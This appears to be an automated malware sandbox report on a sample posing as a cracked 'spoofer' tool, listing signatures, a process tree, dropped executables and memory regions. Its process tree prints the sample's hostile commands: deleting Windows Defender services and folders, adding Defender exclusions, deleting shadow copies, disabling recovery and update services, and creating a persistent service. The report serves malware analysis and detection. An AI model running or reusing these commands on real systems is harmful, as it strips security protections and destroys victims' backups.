Analysis

  • user interaction
    yes
  • max time kernel
    35s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 11:00

Errors

Reason
Machine shutdown

General

  • Target
    zuqraspoofercracked.exe
  • Size 8.9MB
  • Sample260723-m366yahp5w
  • SHA256 b078eee0e95d8edbff36a2992df385fac4f3e73ffcb6eef5be969bb72153d852
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 6 IoCs
  • Stops running service(s) 4 TTPs
  • Modifies Security services 2 TTPs 4 IoCs

    Modifies the startup behavior of a security service.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Power Settings 1 TTPs 7 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 15 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\zuqraspoofercracked.exe
    "C:\Users\Admin\AppData\Local\Temp\zuqraspoofercracked.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4376
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAdAB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAaAB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAYQBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbgBsACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3900
    • C:\Users\Admin\AppData\Roaming\DefBypass.exe
      "C:\Users\Admin\AppData\Roaming\DefBypass.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3324
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAbABoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGsAZgB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAYwBiACMAPgA="
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:984
      • C:\Users\Admin\AppData\Roaming\kill_defender_silent.exe
        "C:\Users\Admin\AppData\Roaming\kill_defender_silent.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5920
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand  
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  
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 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' C : \ P r o g r a m D a t a \ W i n d o w s \ W i n d o w s   D e f e n d e r   A d v a n c e d   T h r e a t   P r o t e c t i o n \ '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;    
 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' C : \ W i n d o w s \ S y s t e m 3 2 \ d r i v e r s \ w d \ '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;    
 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' H K L M : \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s \ W d N i s S v c '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;    
 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' H K L M : \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s \ W i n D e f e n d '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;    
 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' H K L M : \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s \ S e n s e '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;    
 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' H K L M : \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s \ W d n i s D r v '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;    
 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' H K L M : \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s \ w d f i l t e r '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;    
 R e m o v e - I t e m   - R e c u r s e   - F o r c e   - P a t h   ' H K L M : \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s \ w d b o o t '   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ;  
 
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies security service
          • Command and Scripting Interpreter: PowerShell
          • Modifies Security services
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5764
      • C:\Users\Admin\AppData\Roaming\winDefKiller.exe
        "C:\Users\Admin\AppData\Roaming\winDefKiller.exe"
        3⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        • Modifies Windows Defender Real-time Protection settings
        • Executes dropped EXE
        PID:936
    • C:\Users\Admin\AppData\Roaming\günceldoruce.exe
      "C:\Users\Admin\AppData\Roaming\günceldoruce.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4088
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3264
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Executes a command shell one-liner
        PID:2352
        • C:\Windows\System32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
            PID:3116
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:2264
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:5524
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          3⤵
          • Launches sc.exe
          PID:6048
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          3⤵
          • Launches sc.exe
          PID:3724
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          3⤵
          • Launches sc.exe
          PID:5924
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          3⤵
          • Power Settings
          PID:1400
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          3⤵
          • Power Settings
          PID:4468
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          3⤵
          • Power Settings
          PID:2904
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          3⤵
          • Power Settings
          PID:5364
        • C:\Windows\system32\dialer.exe
          C:\Windows\system32\dialer.exe
          3⤵
            PID:5352
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "NGHX0VQG"
            3⤵
            • Launches sc.exe
            PID:4136
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "NGHX0VQG" binpath= "C:\ProgramData\vbktoiubahdm\wcdlscfuaodm.exe" start= "auto"
            3⤵
            • Launches sc.exe
            PID:704
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            3⤵
            • Launches sc.exe
            PID:4700
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "NGHX0VQG"
            3⤵
            • Launches sc.exe
            PID:4544
        • C:\Users\Admin\AppData\Roaming\sifirla_guclu.exe
          "C:\Users\Admin\AppData\Roaming\sifirla_guclu.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c reagentc /disable
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3464
            • C:\Windows\system32\ReAgentc.exe
              reagentc /disable
              4⤵
              • Drops file in System32 directory
              • Drops file in Windows directory
              PID:616
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v RecoveryEnvironment /f
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4472
            • C:\Windows\system32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v RecoveryEnvironment /f
              4⤵
                PID:4904
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c sc config WinRE start= disabled
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4692
              • C:\Windows\system32\sc.exe
                sc config WinRE start= disabled
                4⤵
                • Launches sc.exe
                PID:1680
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c vssadmin delete shadows /all /quiet
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3244
              • C:\Windows\system32\vssadmin.exe
                vssadmin delete shadows /all /quiet
                4⤵
                • Interacts with shadow copies
                PID:5204
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c wmic.exe shadowcopy delete
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2884
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe shadowcopy delete
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3456
          • C:\Users\Admin\AppData\Roaming\vmaxspoofercracked.exe
            "C:\Users\Admin\AppData\Roaming\vmaxspoofercracked.exe"
            2⤵
            • Executes dropped EXE
            PID:52
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
          1⤵
            PID:5024
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:6052
          • C:\ProgramData\vbktoiubahdm\wcdlscfuaodm.exe
            C:\ProgramData\vbktoiubahdm\wcdlscfuaodm.exe
            1⤵
              PID:1616
              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                2⤵
                • Command and Scripting Interpreter: PowerShell
                PID:3760
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                2⤵
                • Executes a command shell one-liner
                PID:4676
                • C:\Windows\System32\wusa.exe
                  wusa /uninstall /kb:890830 /quiet /norestart
                  3⤵
                    PID:4528
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop UsoSvc
                  2⤵
                  • Launches sc.exe
                  PID:4708
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                  2⤵
                  • Launches sc.exe
                  PID:4556
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop wuauserv
                  2⤵
                  • Launches sc.exe
                  PID:2976
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop bits
                  2⤵
                  • Launches sc.exe
                  PID:2672
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop dosvc
                  2⤵
                  • Launches sc.exe
                  PID:396
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                  2⤵
                  • Power Settings
                  PID:328
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                  2⤵
                  • Power Settings
                  PID:1492
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                  2⤵
                  • Power Settings
                  PID:3240
                • C:\Windows\system32\dialer.exe
                  dialer.exe
                  2⤵
                    PID:4760

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 21KB
                      • SHA256 8940153c199e5466e3cb70de402540eee83b8e758efdd5ce34fa60e7669d0b6c
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      __PSScriptPolicyTest_wiybnnmq.5yf.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wiybnnmq.5yf.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      DefBypass.exe

                      • Path C:\Users\Admin\AppData\Roaming\DefBypass.exe
                      • Size 926KB
                      • SHA256 bce4abda46404f374407d3403954e0521a3ca13de4447e63a902ed5dc5d03c56
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      günceldoruce.exe

                      • Path C:\Users\Admin\AppData\Roaming\günceldoruce.exe
                      • Size 2.7MB
                      • SHA256 0bfda1e615d230f01f3cb5844187250fa2aba3d8118e927390775a5b7b286645
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      kill_defender_silent.exe

                      • Path C:\Users\Admin\AppData\Roaming\kill_defender_silent.exe
                      • Size 12KB
                      • SHA256 be679aec0bfc4142f048f7cfef579d1563a3df284a6074cf5a8b91b32b2104cd
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      sifirla_guclu.exe

                      • Path C:\Users\Admin\AppData\Roaming\sifirla_guclu.exe
                      • Size 5KB
                      • SHA256 2256b6984c44c3ff15d8f424bb1ea6d39f33781b978f7a16567520549f934c57
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      vmaxspoofercracked.exe

                      • Path C:\Users\Admin\AppData\Roaming\vmaxspoofercracked.exe
                      • Size 5.3MB
                      • SHA256 25b85ae3c8e64eed2c7f18ee6740d9938f543133d171fb93a762e33bdc8d0ddf
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      winDefKiller.exe

                      • Path C:\Users\Admin\AppData\Roaming\winDefKiller.exe
                      • Size 909KB
                      • SHA256 1723294a1bf492305d11deba4d5e17b43646e62d3f78cf3acfe4edd513fba7f4
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      ReAgent.xml

                      • Path C:\Windows\System32\Recovery\ReAgent.xml
                      • Size 1KB
                      • SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
                      • MD5 SHA1 SHA512 TLSH

                      memory/936-68-0x00007FF64C420000-0x00007FF64C509000-memory.dmp

                      memory/984-95-0x0000000006FD0000-0x0000000007073000-memory.dmp

                      memory/984-87-0x0000000006F90000-0x0000000006FC6000-memory.dmp

                      memory/984-61-0x00000000050E0000-0x0000000005102000-memory.dmp

                      memory/984-94-0x0000000006F50000-0x0000000006F70000-memory.dmp

                      memory/984-88-0x00000000751E0000-0x000000007522C000-memory.dmp

                      memory/984-64-0x0000000005980000-0x0000000005CDB000-memory.dmp

                      memory/2536-41-0x0000000000B20000-0x0000000000B28000-memory.dmp

                      memory/3900-97-0x0000000007800000-0x000000000781A000-memory.dmp

                      memory/3900-98-0x0000000007880000-0x000000000788A000-memory.dmp

                      memory/3900-105-0x00000000738F0000-0x00000000740AC000-memory.dmp

                      memory/3900-75-0x00000000064B0000-0x00000000064CE000-memory.dmp

                      memory/3900-76-0x0000000006730000-0x000000000677C000-memory.dmp

                      memory/3900-15-0x0000000073902000-0x0000000073903000-memory.dmp

                      memory/3900-100-0x0000000007A80000-0x0000000007B16000-memory.dmp

                      memory/3900-35-0x0000000005720000-0x0000000005D6A000-memory.dmp

                      memory/3900-34-0x00000000738F0000-0x00000000740AC000-memory.dmp

                      memory/3900-36-0x00000000738F0000-0x00000000740AC000-memory.dmp

                      memory/3900-62-0x0000000006050000-0x00000000060B6000-memory.dmp

                      memory/3900-89-0x00000000751E0000-0x000000007522C000-memory.dmp

                      memory/3900-63-0x00000000060C0000-0x0000000006126000-memory.dmp

                      memory/3900-21-0x0000000004FE0000-0x0000000005016000-memory.dmp

                      memory/3900-96-0x0000000007E40000-0x00000000084BC000-memory.dmp

                      memory/5352-115-0x0000000140000000-0x000000014002B000-memory.dmp

                      memory/5352-114-0x0000000140000000-0x000000014002B000-memory.dmp

                      memory/5352-112-0x0000000140000000-0x000000014002B000-memory.dmp

                      memory/5352-113-0x0000000140000000-0x000000014002B000-memory.dmp

                      memory/5764-86-0x0000021DC02C0000-0x0000021DC02CA000-memory.dmp

                      memory/5764-84-0x0000021DC04F0000-0x0000021DC05A2000-memory.dmp

                      memory/5764-83-0x0000021DC02A0000-0x0000021DC02BE000-memory.dmp

                      memory/5764-72-0x0000021DC00F0000-0x0000021DC0112000-memory.dmp

                      memory/5920-54-0x00000000007E0000-0x00000000007EA000-memory.dmp